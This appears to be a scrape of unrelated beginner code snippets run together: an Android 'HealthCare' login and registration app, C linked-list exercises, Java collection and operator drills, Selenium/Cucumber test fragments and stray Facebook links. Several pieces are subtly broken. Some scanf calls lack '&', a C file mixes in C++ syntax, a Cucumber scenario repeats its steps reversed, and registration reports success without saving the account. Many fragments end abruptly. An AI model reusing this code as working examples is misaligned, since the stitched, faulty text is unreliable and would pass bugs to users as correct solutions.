<androidx.constraintlayout.widget.ConstraintLayout xmlns:android="http://schemas.android.com/apk/res/android"
    xmlns:app="http://schemas.android.com/apk/res-auto"
    xmlns:tools="http://schemas.android.com/tools"
    android:layout_width="match_parent"
    android:layout_height="match_parent"
    tools:context=".LoginActivity"
    android:background="@drawable/back1">

    <EditText
        android:id="@+id/editTextLoginPassword"
        android:layout_width="330dp"
        android:layout_height="53dp"
        android:layout_marginTop="28dp"
        android:background="@drawable/input_bg"
        android:drawableLeft="@drawable/ic_baseline_security_24"
        android:ems="10"
        android:hint="Password"
        android:inputType="textPassword"
        android:paddingLeft="20dp"
        android:paddingTop="10dp"
        android:paddingRight="10dp"
        android:paddingBottom="10dp"
        android:text="Password"
        android:textColor="#FFFFFF"
        app:layout_constraintEnd_toEndOf="parent"
        app:layout_constraintHorizontal_bias="0.493"
        app:layout_constraintStart_toStartOf="parent"
        app:layout_constraintTop_toBottomOf="@+id/editTextLoginUsername" />

    <TextView
        android:id="@+id/textView"
        android:layout_width="227dp"
        android:layout_height="58dp"
        android:selectAllOnFocus="true"
        android:shadowColor="#000000"
        android:text="HealthCare"
        android:textAlignment="center"
        android:textAppearance="@style/TextAppearance.AppCompat.Body1"
        android:textColor="#FFFFFF"
        android:textColorHint="#000000"
        android:textSize="34sp"
        android:textStyle="bold"
        app:layout_constraintBottom_toBottomOf="parent"
        app:layout_constraintEnd_toEndOf="parent"
        app:layout_constraintStart_toStartOf="parent"
        app:layout_constraintTop_toTopOf="parent"
        app:layout_constraintVertical_bias="0.075"
        />

    <TextView
        android:id="@+id/textView2"
        android:layout_width="86dp"
        android:layout_height="41dp"
        android:text="Login"
        android:textColor="#FFFDFD"
        android:textSize="34sp"
        android:textStyle="bold"
        app:layout_constraintBottom_toBottomOf="parent"
        app:layout_constraintEnd_toEndOf="parent"
        app:layout_constraintStart_toStartOf="parent"
        app:layout_constraintTop_toBottomOf="@+id/textView"
        app:layout_constraintVertical_bias="0.11"
        />

    <EditText
        android:id="@+id/editTextLoginUsername"
        android:layout_width="330dp"
        android:layout_height="53dp"
        android:layout_marginTop="88dp"
        android:background="@drawable/input_bg"
        android:drawableLeft="@drawable/ic_baseline_person_24"
        android:ems="10"
        android:inputType="textPersonName"
        android:paddingLeft="20dp"
        android:paddingTop="10dp"
        android:paddingRight="10dp"
        android:paddingBottom="10dp"
        android:text="Username"
        android:textColor="#FFFFFF"
        app:layout_constraintEnd_toEndOf="parent"
        app:layout_constraintHorizontal_bias="0.493"
        app:layout_constraintStart_toStartOf="parent"
        app:layout_constraintTop_toBottomOf="@+id/textView2" />

    <Button
        android:id="@+id/buttonLogin"
        android:layout_width="326dp"
        android:layout_height="48dp"
        android:layout_marginTop="56dp"
        android:background="@drawable/btn_bg"
        android:text="Login"
        app:layout_constraintEnd_toEndOf="parent"
        app:layout_constraintHorizontal_bias="0.47"
        app:layout_constraintStart_toStartOf="parent"
        app:layout_constraintTop_toBottomOf="@+id/editTextLoginPassword" />

    <TextView
        android:id="@+id/textViewNewUser"
        android:layout_width="127dp"
        android:layout_height="28dp"
        android:paddingTop="5dp"
        android:text="Register/New User"
        android:textAlignment="center"
        android:textAllCaps="false"
        android:textColor="#F4F4F4"
        app:layout_constraintBottom_toBottomOf="parent"
        app:layout_constraintEnd_toEndOf="parent"
        app:layout_constraintStart_toStartOf="parent"
        app:layout_constraintTop_toBottomOf="@+id/buttonLogin"
        app:layout_constraintVertical_bias="0.152" />

</androidx.constraintlayout.widget.ConstraintLayout>
package com.example.healthcareproject;

import static com.example.healthcareproject.R.id.editTextRegPassword;

import androidx.appcompat.app.AppCompatActivity;

import android.annotation.SuppressLint;
import android.content.Intent;
import android.os.Bundle;
import android.view.View;
import android.widget.Button;
import android.widget.EditText;
import android.widget.TextView;
import android.widget.Toast;

public class RegisterActivity extends AppCompatActivity {

    EditText edusername,edpassword,edemail,edconfirm;
    Button bt;
    TextView txt;


    @SuppressLint("MissingInflatedId")
    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_register);

        edusername = findViewById(R.id.editTextRegUsername);
        edpassword = findViewById(editTextRegPassword);
        edemail =findViewById(R.id.editTextRegemail);
        edconfirm =findViewById(R.id.editTextRegConfirmPassword);
        bt =findViewById(R.id.buttonregister);
        txt =findViewById(R.id.textViewExisting);

        txt.setOnClickListener(new View.OnClickListener() {
            @Override
            public void onClick(View view) {
                startActivity(new Intent(RegisterActivity.this,LoginActivity.class));
            }
        });

        bt.setOnClickListener(new View.OnClickListener() {
            @Override
            public void onClick(View view) {
                String username = edusername.getText().toString();
                String password = edpassword.getText().toString();
                String confirm = edconfirm.getText().toString();
                String email = edemail.getText().toString();
                database db = new database(getApplicationContext(),"healthcareProject",null,1);

                if(username.length()==0 || password.length()==0 || email.length()==0 | confirm.length()==0){
                    Toast.makeText(getApplicationContext(), "Invalid Input", Toast.LENGTH_SHORT).show();
                }else{
                    if(password.compareTo(confirm)==0){
                        if(isValid(password)){
                            Toast.makeText(getApplicationContext(), "Registered Successfully", Toast.LENGTH_SHORT).show();
                            startActivity(new Intent(RegisterActivity.this,LoginActivity.class));
                        }else{
                            Toast.makeText(getApplicationContext(), "Password must contain at least 8 characters", Toast.LENGTH_SHORT).show();
                        }
                    }else{
                        Toast.makeText(getApplicationContext(), "Password and confirm Password didn't matched", Toast.LENGTH_SHORT).show();
                    }
                }
            }
        });
    }

    private boolean isValid(String Passwordcheck) {
            int f1=0,f2=0,f3=0;
            if(Passwordcheck.length() < 8){
                return false;
            }else{
                for(int i=0;i<Passwordcheck.length();i++){
                    if(Character.isLetter(Passwordcheck.charAt(i))){
                        f1=1;
                    }
                }
                for(int j=0;j<Passwordcheck.length();j++){
                    if(Character.isDigit(Passwordcheck.charAt(j))){
                        f2=1;
                    }
                }
                for(int k=0;k<Passwordcheck.length();k++){
                    char c =Passwordcheck.charAt(k);
                    if(c>= 33 && c<=46 || c==64){
                        f3=1;
                    }
                }
                if(f1==1 && f2==1 && f3==1){
                    return true;
                }
                return false;
            }
    }

}
package com.example.healthcareproject;

import androidx.appcompat.app.AppCompatActivity;

import android.content.Intent;
import android.os.Bundle;
import android.view.View;
import android.widget.Button;
import android.widget.EditText;
import android.widget.TextView;
import android.widget.Toast;

public class LoginActivity extends AppCompatActivity {


    EditText edusername,edpassword;
    Button bt;
    TextView txt;
    @Override
    protected void onCreate(Bundle savedInstanceState){
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_login);

        edpassword =findViewById(R.id.editTextLoginPassword);
        edusername = findViewById(R.id.editTextLoginUsername);
        bt = findViewById(R.id.buttonLogin);
        txt= findViewById(R.id.textViewNewUser);

        bt.setOnClickListener(new View.OnClickListener() {
            @Override
            public void onClick(View view) {
                String username = edusername.getText().toString();
                String password = edpassword.getText().toString();
                database db = new database(getApplicationContext(),"healthcareproject",null,1);

                if(username.length()==0 || password.length()==0){
                    Toast.makeText(getApplicationContext(),"Invalid input",Toast.LENGTH_SHORT).show();
                }else{
                    if(db.login(username,password)==1) {
                        Toast.makeText(getApplicationContext(), "Login successfully", Toast.LENGTH_SHORT).show();
                    }else{
                        Toast.makeText(getApplicationContext(),"Invalid Username and password",Toast.LENGTH_SHORT).show();
                    }
                }
            }
        });

        txt.setOnClickListener(new View.OnClickListener() {
            @Override
            public void onClick(View view) {
                startActivity(new Intent());
            }
        });
    }
Write C programing to delete a node with a specific value from linked list.

#include <stdio.h> 
#include <stdlib.h> 
  
struct Node { 
    int data; 
    struct Node* next; 
}; 
  
void push(struct Node** head_ref, int new_data) 
{ 
    struct Node* new_node 
        = (struct Node*)malloc(sizeof(struct Node)); 
    new_node->data = new_data; 
    new_node->next = (*head_ref); 
    (*head_ref) = new_node; 
} 

void deleteNode(struct Node** head_ref, int key) 
{ 
    struct Node *temp = *head_ref, *prev; 
  
    if (temp != NULL && temp->data == key) { 
        *head_ref = temp->next;
        free(temp); 
        return; 
    } 
    
    while (temp != NULL && temp->data != key) { 
        prev = temp; 
        temp = temp->next; 
    } 
  
    if (temp == NULL) 
        return; 
  
    prev->next = temp->next; 
  
    free(temp); 
} 
 
void printList(struct Node* node) 
{ 
    while (node != NULL) { 
        printf(" %d ", node->data); 
        node = node->next; 
    } 
} 

int main() 
{ 
    /* Start with the empty list */
    struct Node* head = NULL; 
  
    push(&head, 7); 
    push(&head, 1); 
    push(&head, 3); 
    push(&head, 2); 
  
    puts("Created Linked List: "); 
    printList(head); 
    deleteNode(&head, 1); 
    puts(" \nLinked List after Deletion of 1: "); 
    printList(head); 
    return 0; 
}

//OUTPUT:

Created Linked List: 
 2  3  1  7  
Linked List after Deletion of 1: 
 2  3  7 
#include <stdio.h>
#include <stdlib.h>

struct node {
    int data;          
    struct node *next; 
}*head;

void createList(int n);
void insertNodeAtBeginning(int data);
void displayList();


int main()
{
    int n, data;

    printf("Enter the total number of nodes: ");
    scanf("%d", &n);
    createList(n);

    printf("\nData in the list \n");
    displayList();
    
    printf("\nEnter data to insert at beginning of the list: ");
    scanf("%d", &data);
    insertNodeAtBeginning(data);

    printf("\nData in the list \n");
    displayList();

    return 0;
}

void createList(int n)
{
    struct node *newNode, *temp;
    int data, i;

    head = (struct node *)malloc(sizeof(struct node));

    if(head == NULL)
    {
        printf("Unable to allocate memory.");
    }
    else
    {
        printf("Enter the data of node 1: ");
        scanf("%d", &data);

        head->data = data; 
        head->next = NULL; 

        temp = head;

        for(i=2; i<=n; i++)
        {
            newNode = (struct node *)malloc(sizeof(struct node));

            if(newNode == NULL)
            {
                printf("Unable to allocate memory.");
                break;
            }
            else
            {
                printf("Enter the data of node %d: ", i);
                scanf("%d", &data); 

                newNode->data = data;
                newNode->next = NULL; 

                temp->next = newNode;
                
                temp = temp->next; 
            }
        }
    }
}

void insertNodeAtBeginning(int data)
{
    struct node *newNode;

    newNode = (struct node*)malloc(sizeof(struct node));

    if(newNode == NULL)
    {
        printf("Unable to allocate memory.");
    }
    else
    {
        newNode->data = data; 
        newNode->next = head;

        head = newNode; 

        printf("DATA INSERTED SUCCESSFULLY\n");
    }
}
void displayList()
{
    struct node *temp;

    
    if(head == NULL)
    {
        printf("List is empty.");
    }
    else
    {
        temp = head;
        while(temp != NULL)
        {
            printf("Data = %d\n", temp->data); 
            temp = temp->next; 
        }
    }
}

//OUTPUT:

Enter the total number of nodes: 4
Enter the data of node 1: 20
Enter the data of node 2: 30
Enter the data of node 3: 40
Enter the data of node 4: 50
Data in the list 
Data = 20
Data = 30
Data = 40
Data = 50

Enter data to insert at beginning of the list: 300
DATA INSERTED SUCCESSFULLY

Data in the list 
Data = 300
Data = 20
Data = 30
Data = 40
Data = 50
//İnsertion at beginning of linklist.

struct Node
{
    int data;
    struct Node* next;
};

struct Node* head;

void insert (int x)
{
    Node* temp = (Node*)malloc(sizeof(struct Node));
    temp -> data = x;
    temp -> next = head;
    head = temp;
}

void print()
{
    struct Node* temp = head;
    printf("List is: ");
    while(temp != NULL)
    {
        printf("%d ", temp -> data);
        temp = temp -> next;
    }
    printf("\n");
}
 
int main() {
    
    head = NULL;
    printf("How many numbers? \n:");
    int n, i, x;
    scanf("%d",n);
    for(i = 0; i < n; i++)
    {
        printf("Enter the number \n");
        scanf("%d", x);
        insert(x);
        print();
    }
    return 0;
}
//CREATİON OF LİNKLİST

#include <stdio.h>
#include <stdlib.h>

typedef struct 
{
    int data;
    struct Node*next;
    
} Node;

int main() {
    
    Node* n1;
    Node* n2;
    Node* n3;
    
    n1 = (Node*)(malloc(sizeof(Node)));
    n2 = (Node*)(malloc(sizeof(Node)));
    n3 = (Node*)(malloc(sizeof(Node)));
    
    
    n1 -> data = 10;
    n2 -> data = 20;
    n3 -> data = 30;
    
    
    n1 -> next = n2;
    n2 -> next = n3;
    n3 -> next = NULL;
    
    
    Node* temp = n1;
    
    while(temp != NULL)
    {
        printf("\nData: %d , next Adress: %d", temp -> data, temp -> next);
        temp = temp -> next;
    }

    return 0;
}
https://www.facebook.com/605744985040880/posts/pfbid02RBpxb4DpuPYrm4GWgG3sNMuM5h4ohSGct1pGRrpWJ8bdMUvMiC9hwmsYZT1k3VdVl
https://www.facebook.com/605744985040880/posts/pfbid02RBpxb4DpuPYrm4GWgG3sNMuM5h4ohSGct1pGRrpWJ8bdMUvMiC9hwmsYZT1k3VdVl
Write a c program to find the second smallest element in an integer array.

#include <stdio.h>
 #include <limits.h>
 
int main() {
    
    int arr[] = {1,1,1,1,1,1};
  //int arr[] = {9,5,2,8,1};
    int size = sizeof(arr) / sizeof(arr[0]);
    int smallest = INT_MAX;
    int secondSmallest = INT_MAX;

    for (int i = 0; i < size; i++) {
        if (arr[i] < smallest) {
            secondSmallest = smallest;
            smallest = arr[i];
        } 
        else if (arr[i] < secondSmallest && arr[i] != smallest) {
            secondSmallest = arr[i];
        }
    }

    if (secondSmallest == INT_MAX) {
        printf("No second smallest element found.\n");
    } 
    else {
        printf("Second smallest element: %d\n", secondSmallest);
    }

    return 0;
}
output: No second smallest element found.
//OutPUT : Second smallest element: 2
Answer 2:

public class Student {
	
	String name;
	int age;
	boolean isJunior;
	char gender;
	
	Student()
	{
		name = "Mohamed";
		age = 23;
		isJunior = false;
		gender = 'm';
	}
	Student(String nme, int n, boolean job, char gen) 
	{
		name = nme;
		age = n;
		isJunior = job;
		gender = gen;
	}
	
	public static void main(String[] args) {
		
		Student s1 = new Student();
		Student s2 = new Student("Ayşe", 15, true, 'f');
		
		System.out.println("Name S1 = " + s1.name);
		System.out.println("Age S1 = " + s1.age);
		System.out.println("isJunior S1 = " + s1.isJunior);
		System.out.println("Gender S1 = " + s1.gender);

		System.out.println("\n\nName S2 = " + s2.name);
		System.out.println("Age S2 = " + s2.age);
		System.out.println("isJunior S2 = " + s2.isJunior);
		System.out.println("Gender S2 = " + s2.gender);
	}
}
//OUTPUT:

Name S1 = Mohamed
Age S1 = 23
isJunior S1 = false
Gender S1 = m


Name S2 = Ayşe
Age S2 = 15
isJunior S2 = true
Gender S2 = f
Question 1. Write a method that combines two given arrays and returns the resulting array back.  Complete your program with a main method.

Answer 1:

public static void main(String[] args) {
		
		
		int[] array1 = {2,4,6,8,10,12};
		int[] array2 = {1,3,5,7,9};
		int[] array3 = {20,30,40,50,60,70,80};
		
		System.out.println("array1 = " + Arrays.toString(array1));
		System.out.println("array2 = " + Arrays.toString(array2));
		System.out.println("array3 = " + Arrays.toString(array3));
		
		int [] array4 = combineArrays(array1, array2, array3);
		
		System.out.println("\nAfter Combination of Three arrays are: ");
		
		System.out.println("\narray4 = " + Arrays.toString(array4));
		
		
		sortSmallToLarge(array4);
		System.out.println();
		System.out.println("\nAfter sorting arrays from Small number to Large number.");
		
		System.out.println(Arrays.toString(array4));
		
		
		sortLargeToSmall(array4);
		System.out.println();
		System.out.println("\nAfter sorting arrays from Large number to Small number.");
		
		System.out.println(Arrays.toString(array4));


	}
	public static int[] combineArrays(int[] array1, int[] array2, int[] array3) {
		int[] array4 = new int[array1.length + array2.length + array3.length];
		for(int i=0; i<array1.length; i++) {
			array4[i] = array1[i];
		}
		for(int i=0; i<array2.length; i++) {
			array4[array1.length + i] = array2[i];
		}
		for(int i=0; i<array3.length; i++) {
			array4[array1.length + array2.length + i] = array3[i];
		}
		return array4;
	}
	
	public static void sortSmallToLarge(int [] array4) {
		for(int i =0; i< array4.length; i++) {
			for(int j=0; j<array4.length-1-i; j++) {
				if(array4[j] > array4 [j+1]) {
					int temp = array4[j];
					array4[j] = array4[j+1];
					array4[j+1] = temp;
				}
			}
		}
	}
	public static void sortLargeToSmall(int [] array4) {
		for(int i =0; i< array4.length; i++) {
			for(int j=0; j<array4.length-1-i; j++) {
				if(array4[j] < array4 [j+1]) {
					int temp = array4[j];
					array4[j] = array4[j+1];
					array4[j+1] = temp;
				}
			}
		}
	}
}
//OUTPUT: 
array1 = [2, 4, 6, 8, 10, 12]
array2 = [1, 3, 5, 7, 9]
array3 = [20, 30, 40, 50, 60, 70, 80]

After Combination of Three arrays are: 

array4 = [2, 4, 6, 8, 10, 12, 1, 3, 5, 7, 9, 20, 30, 40, 50, 60, 70, 80]


After sorting arrays from Small number to Large number.
[1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 12, 20, 30, 40, 50, 60, 70, 80]


After sorting arrays from Large number to Small number.
[80, 70, 60, 50, 40, 30, 20, 12, 10, 9, 8, 7, 6, 5, 4, 3, 2, 1]

public class Main {
    public static void main(String[] args) {
 
        String myFirstString = "Hello Test Pro Student!";
 
    }
}
public class Main {
    public static void main(String[ ] args) {

        int age = 21;

        if (age < 21) {
            throw new ArithmeticException("Sorry - We only sell to customers 21 years old and above!");
        }
        else {
            System.out.println("Order accepted!");
        }
    }
}
// Output: Order accepted!
public class Main {
    public static void main(String[ ] args) {

        int age = 19;

        if (age < 21) {
            throw new ArithmeticException("Sorry - We only sell to customers 21 years old and above!");
        }
        else {
            System.out.println("Order accepted!");
        }
    }
}
// Output: Exception in thread "main" java.lang.ArithmeticException: Sorry - We only sell to customers 21 years old and above!
//	at org.example.Main.main(Main.java:12)
class Main {
  public static void main (String[] args) {

    int c = 4;

    System.out.println (++c);
  }
}
// Output: 5
class Main {
  public static void main (String[] args) {

    int c = 4;

    System.out.println (--c);
  }
}
// Output: 3
class Main {
  public static void main (String[] args) {

    int a = 8;
    int b = 7;

    int result = a%b;

    System.out.println (result);
  }
}
// Output: 1
// Note: Output is 1 since the remainder is 1
class Main {
    public static void main(String[] args) {

       double a = 5;
       double b = 2;
      
       double result = a/b;
      
       System.out.println(result);
    }
}
// Output: 2.5
class Main {
  public static void main (String[] args) {

    int a = 8;
    int b = 7;

    int result = a*b;

    System.out.println (result);
  }
}
// Output: 56
class Main {
  public static void main (String[] args) {

    int a = 8;
    int b = 7;

    int result = a-b;

    System.out.println (result);
  }
}
// Output: 1
class Main {
  public static void main (String[] args) {
 
    int a = 8;
    int b = 7;
 
    int result = a+b;
 
    System.out.println (result);
  }
}
// Output: 15
dependencies {
    testImplementation 'org.testng:testng:7.6.1'
    implementation 'org.seleniumhq.selenium:selenium-java:4.5.0'
    testImplementation 'io.github.bonigarcia:webdrivermanager:5.3.1'
    implementation 'io.cucumber:cucumber-testng:7.9.0'
    implementation 'io.cucumber:cucumber-core:7.9.0'
    implementation 'io.cucumber:cucumber-java:7.9.0'
    implementation 'io.cucumber:gherkin:25.0.2'
}
import io.cucumber.java.en.Given;

public class StepDefinitions {
  
    @Given("I am in the Home Page")
    public void i_am_in_the_home_page() {
        driver.get("sampleHomePage")
    }
}
Scenario: Home Page Navigation

Given I am in the Home page
Feature: Login feature

Scenario: Login with valid credentials
Given I am in the Login Page
And I enter a registered email
And I enter a valid password
When I click the submit button
Then I must be logged in successfully
Then I must be logged in successfully
When I click the submit button
And I enter a registered email
And I enter a valid password
Given I am in the Login Page
<suite name="Test Pro Parallel Testing" parallel="methods" thread-count="5">
C:\Users\TestProUser> java -jar selenium-server-4.7.2.jar standalone

06:09:51.094 INFO [LocalDistributor.add] - Added node de4f0f9b-bf52-46d0-94a4-2dd3167b0e17 at http://192.168.55.100:4444. Health check every 120s
06:09:51.299 INFO [Standalone.execute] - Started Selenium Standalone 4.7.2 (revision 79f1c02ae20): http://192.168.55.100:4444
PageFactory.initElements(new AjaxElementLocatorFactory(driver, 20), this);
 PageFactory.initElements(driver, java.lang.Class.pageObjectClass);
 @FindBy(how = How.CSS, using = "div[class='logo']")
 WebElement koelImgCssHow;

 @FindBy(how = How.XPATH, using = "//div[@class='logo']")
  WebElement koelImgXpathHow;
 @FindBy(css="div[class='logo']")
 WebElement koelImgCss;

 @FindBy(xpath="//div[@class='logo']")
 WebElement koelImgXpath;
Actions a = new Actions(driver);
 
//Right click on element
WebElement button = driver.findElement(By.xpath("locator"));
 
a.contextClick(button).perform();
Actions a = new Actions(driver);

//Double click on element
WebElement button = driver.findElement(By.xpath("locator"));

a.doubleClick(button).perform();
Actions action = new Actions(driver);

//Move over the menu options
WebElement menuOption = driver.findElement(By.xpath("locator"));
action.moveToElement(menuOption).perform();

//Displays the menu list with options, now we can click an option from the menu list
WebElement selectMenuOption = driver.findElement(By.xpath("locator2"));
action.click(selectMenuOption).perform();
@BeforeMethod
@Parameters({"BaseURL"})
public void launchBrowser(String BaseURL) {
  
  ChromeOptions options = new ChromeOptions();
  options.addArguments("--remote-allow-origins=*");

  WebDriver driver = new ChromeDriver(options);
  driver.manage().timeouts().implicitlyWait(Duration.ofSeconds(10));
  url = BaseURL;
  driver.get(url);
}
   @Test
    public void homepageNavigation() {
        ChromeOptions options = new ChromeOptions();
        options.addArguments("--remote-allow-origins=*");

        WebDriver driver = new ChromeDriver(options);
        driver.manage().timeouts().implicitlyWait(Duration.ofSeconds(10));

        String expectedUrl = "https://qa.koel.app/";
        driver.get(expectedUrl);

        Assert.assertEquals(driver.getCurrentUrl(), expectedUrl);

        driver.quit();
    }
import java.util.HashMap;

public class Main {
    public static void main(String[] args) {

        // {key:value, key2:value2 ...}

        // France: Paris
        // Italy: Rome
        // Norway: Oslo
        // US: Washington DC

        HashMap<String, String> countryCapitals = new HashMap<>();
        countryCapitals.put("France","Paris");
        countryCapitals.put("Italy", "Rome");
        countryCapitals.put("Norway", "Oslo");
        countryCapitals.put("US", "Washington DC");
        countryCapitals.remove("Italy");

        HashMap<Integer, String> capitals = new HashMap<>();
        capitals.put(1,"Paris");
        capitals.put(2, "Rome");
        capitals.put(3, "Oslo");
        capitals.put(4, "Washington DC");

        System.out.println(capitals.get(3));
    }
}
// Output: Oslo
import java.util.HashMap;

public class Main {
    public static void main(String[] args) {

        HashMap<String, String> countryCapitals = new HashMap<>();
        countryCapitals.put("France","Paris");
        countryCapitals.put("Italy", "Rome");
        countryCapitals.put("Norway", "Oslo");
        countryCapitals.put("US", "Washington DC");

        System.out.println( countryCapitals.values());
    }
}
// Output: [Oslo, Rome, Paris, Washington DC]
import java.util.HashMap;

public class Main {
    public static void main(String[] args) {

        HashMap<String, String> countryCapitals = new HashMap<>();
        countryCapitals.put("France","Paris");
        countryCapitals.put("Italy", "Rome");
        countryCapitals.put("Norway", "Oslo");
        countryCapitals.put("US", "Washington DC");

        System.out.println( countryCapitals.keySet());
    }
}
// Output: [Norway, Italy, France, US]
import java.util.HashMap;

public class Main {
    public static void main(String[] args) {

        HashMap<String, String> countryCapitals = new HashMap<>();
        countryCapitals.put("France","Paris");
        countryCapitals.put("Italy", "Rome");
        countryCapitals.put("Norway", "Oslo");
        countryCapitals.put("US", "Washington DC");

        System.out.println( countryCapitals.size());
    }
}
// Output: 4
import java.util.HashMap;

public class Main {
    public static void main(String[] args) {

        // {key:value, key2:value2 ...}

        // France: Paris
        // Italy: Rome
        // Norway: Oslo
        // US: Washington DC

        HashMap<String, String> countryCapitals = new HashMap<>();
        countryCapitals.put("France","Paris");
        countryCapitals.put("Italy", "Rome");
        countryCapitals.put("Norway", "Oslo");
        countryCapitals.put("US", "Washington DC");
        countryCapitals.remove("Italy");

        System.out.println(countryCapitals);
    }
}
// Output: {Norway=Oslo, France=Paris, US=Washington DC}
import java.util.HashMap;

public class Main {
    public static void main(String[] args) {

        HashMap<String, String> countryCapitals = new HashMap<>();
        countryCapitals.put("France","Paris");
        countryCapitals.put("Italy", "Rome");
        countryCapitals.put("Norway", "Oslo");
        countryCapitals.put("US", "Washington DC");

        System.out.println( countryCapitals.get("Italy"));
    }
}
// Output: Rome
import java.util.HashSet;
import java.util.Set;

public class Main {
    public static void main(String[] args) {

        Set<Integer> set1 = new HashSet<>();
        set1.add(1);
        set1.add(3);
        set1.add(2);
        set1.add(4);
        set1.add(8);
        set1.add(9);
        set1.add(0);

        Set<Integer> set2 = new HashSet<>();
        set2.add(1);
        set2.add(3);
        set2.add(7);
        set2.add(5);
        set2.add(4);
        set2.add(0);
        set2.add(7);
        set2.add(5);

        // difference
        Set<Integer> setDifference = new HashSet<>(set1);
        setDifference.removeAll(set2);
        System.out.println(setDifference);
    }
}
// Output: [2, 8, 9]
import java.util.HashSet;
import java.util.Set;

public class Main {
    public static void main(String[] args) {

        Set<Integer> set1 = new HashSet<>();
        set1.add(1);
        set1.add(3);
        set1.add(2);
        set1.add(4);
        set1.add(8);
        set1.add(9);
        set1.add(0);

        Set<Integer> set2 = new HashSet<>();
        set2.add(1);
        set2.add(3);
        set2.add(7);
        set2.add(5);
        set2.add(4);
        set2.add(0);
        set2.add(7);
        set2.add(5);

        // intersection
        Set<Integer> setIntersection = new HashSet<>(set1);
        setIntersection.retainAll(set2);
        System.out.println(setIntersection);
    }
}
// Output: [0, 1, 3, 4]
import java.util.HashSet;
import java.util.Set;

public class Main {
    public static void main(String[] args) {

        Set<Integer> set1 = new HashSet<>();
        set1.add(1);
        set1.add(3);
        set1.add(2);
        set1.add(4);
        set1.add(8);
        set1.add(9);
        set1.add(0);

        Set<Integer> set2 = new HashSet<>();
        set2.add(1);
        set2.add(3);
        set2.add(7);
        set2.add(5);
        set2.add(4);
        set2.add(0);
        set2.add(7);
        set2.add(5);

        // Union
        Set<Integer> set3 = new HashSet<>(set1);
        set3.addAll(set2);
        System.out.println(set3);
    }
}
// Output: [0, 1, 2, 3, 4, 5, 7, 8, 9]
import java.util.Set;
import java.util.TreeSet;

public class Main {
    public static void main(String[] args) {

        Set<String> uniqueKoelPages = new TreeSet<>();

        uniqueKoelPages.add("LoginPage");
        uniqueKoelPages.add("HomePage");
        uniqueKoelPages.add("HomePage");
        uniqueKoelPages.add("ProfilePage");
        uniqueKoelPages.add("AProfilePage");

        System.out.println(uniqueKoelPages);
    }
}
// Output: [AProfilePage, HomePage, LoginPage, ProfilePage]
import java.util.HashSet;
import java.util.Set;

public class Main {
    public static void main(String[] args) {

        Set<String> uniqueKoelPages = new HashSet<>();

        uniqueKoelPages.add("LoginPage");
        uniqueKoelPages.add("HomePage");
        uniqueKoelPages.add("HomePage");
        uniqueKoelPages.add("ProfilePage");
        uniqueKoelPages.add("AProfilePage");

        System.out.println(uniqueKoelPages);
    }
}
// Output: [HomePage, ProfilePage, AProfilePage, LoginPage]
import java.util.ArrayList;
import java.util.Collections;
import java.util.List;

public class Main {
    public static void main(String[] args) {

        List<String> koelPages = new ArrayList<>();

        koelPages.add("LoginPage");
        koelPages.set(0, "RegistrationPage");
        koelPages.add("HomePage");
        koelPages.add("ProfilePage");
        koelPages.add("APage");
        koelPages.add("ZPage");
        Collections.sort(koelPages);
        Collections.reverse(koelPages);

        for (String i : koelPages) {
            System.out.println(i);
        }
    }
}
/* Output:
ZPage
RegistrationPage
ProfilePage
HomePage
APage
*/
List <String> koelPages = new ArrayList<>();

for(String i: koelPages)
import java.util.ArrayList;
import java.util.List;
import java.util.Collections;

public class Main {
    public static void main(String[] args) {

        List<String> koelPages = new ArrayList<>();

        koelPages.add("LoginPage");
        koelPages.add("HomePage");
        koelPages.add("ProfilePage");
        koelPages.add("APage");
        koelPages.add("ZPage");

        Collections.sort(koelPages);
        Collections.reverse(koelPages);
        System.out.println(koelPages);
    }
}
// Output: [ZPage, ProfilePage, LoginPage, HomePage, APage]
import java.util.ArrayList;
import java.util.List;
import java.util.Collections;

public class Main {
    public static void main(String[] args) {

        List<String> koelPages = new ArrayList<>();

        koelPages.add("LoginPage");
        koelPages.add("HomePage");
        koelPages.add("ProfilePage");
        koelPages.add("APage");
        koelPages.add("ZPage");

        Collections.sort(koelPages);
        System.out.println(koelPages);
    }
}
// Output: [APage, HomePage, LoginPage, ProfilePage, ZPage]
import java.util.ArrayList;
import java.util.List;

public class Main {
    public static void main(String[] args) {

        List<String> koelPages = new ArrayList<>();

        koelPages.add("RegistrationPage");
        koelPages.add("LoginPage");
        koelPages.add("HomePage");

        System.out.println(koelPages.size());
    }
}
// Output: 3
import java.util.ArrayList;
import java.util.List;

public class Main {
    public static void main(String[] args) {

        List<String> koelPages = new ArrayList<>();

        koelPages.add("RegistrationPage");
        koelPages.add("LoginPage");
        koelPages.add("HomePage");
        koelPages.remove(0);

        System.out.println(koelPages);
    }
}
// Output: [LoginPage, HomePage]
import java.util.ArrayList;
import java.util.List;

public class Main {
    public static void main(String[] args) {

        List<String> koelPages = new ArrayList<>();

        koelPages.add("RegistrationPage");
        koelPages.add("LoginPage");
        koelPages.add("HomePage");
        koelPages.set(0,"ProfilePage");

        System.out.println(koelPages);
    }
}
// Output: [ProfilePage, LoginPage, HomePage]
import java.util.ArrayList;
import java.util.List;

public class Main {
    public static void main(String[] args) {

        List<String> koelPages = new ArrayList<>();

        koelPages.add("RegistrationPage");
        koelPages.add("LoginPage");
        koelPages.add("HomePage");

        System.out.println(koelPages.get(0));
    }
}
// Output: RegistrationPage
import java.util.ArrayList;
import java.util.List;

public class Main {
    public static void main(String[] args) {

        List<String> koelPages = new ArrayList<>();

        koelPages.add("RegistrationPage");
        koelPages.add("LoginPage");
        koelPages.add("HomePage");

        System.out.println(koelPages);
    }
}
// Output: [RegistrationPage, LoginPage, HomePage]
import java.util.Arrays;

class Main {
    public static void main(String[] args) {

        int [] arr1 = {54, 44, 39, 10, 12, 101};

        Arrays.sort (arr1);

        System.out.println (Arrays.toString(arr1));
    }
}
// Output: [10, 12, 39, 44, 54, 101]
class Main {
    public static void main(String[] args) {

        int[] arr1 = {54, 44, 39, 10, 12, 101};
        for (int i=0; i<arr1.length; i++) {
            if (arr1[i] == 44) {
                System.out.println ("Array has a value of 44 at index " + i);
            }
        }
    }
}
// Output: Array has a value of 44 at index 1
import java.util.Arrays;

class Main {
    public static void main(String[] args) {

        int [] arr1 = new int[10];

        for (int i = 0; i < 10; i++) {

            arr1 [i] = i;
        }
        System.out.println(Arrays.toString(arr1));
    }
}
// Output: [0, 1, 2, 3, 4, 5, 6, 7, 8, 9]
class Main {
    public static void main(String[] args) {

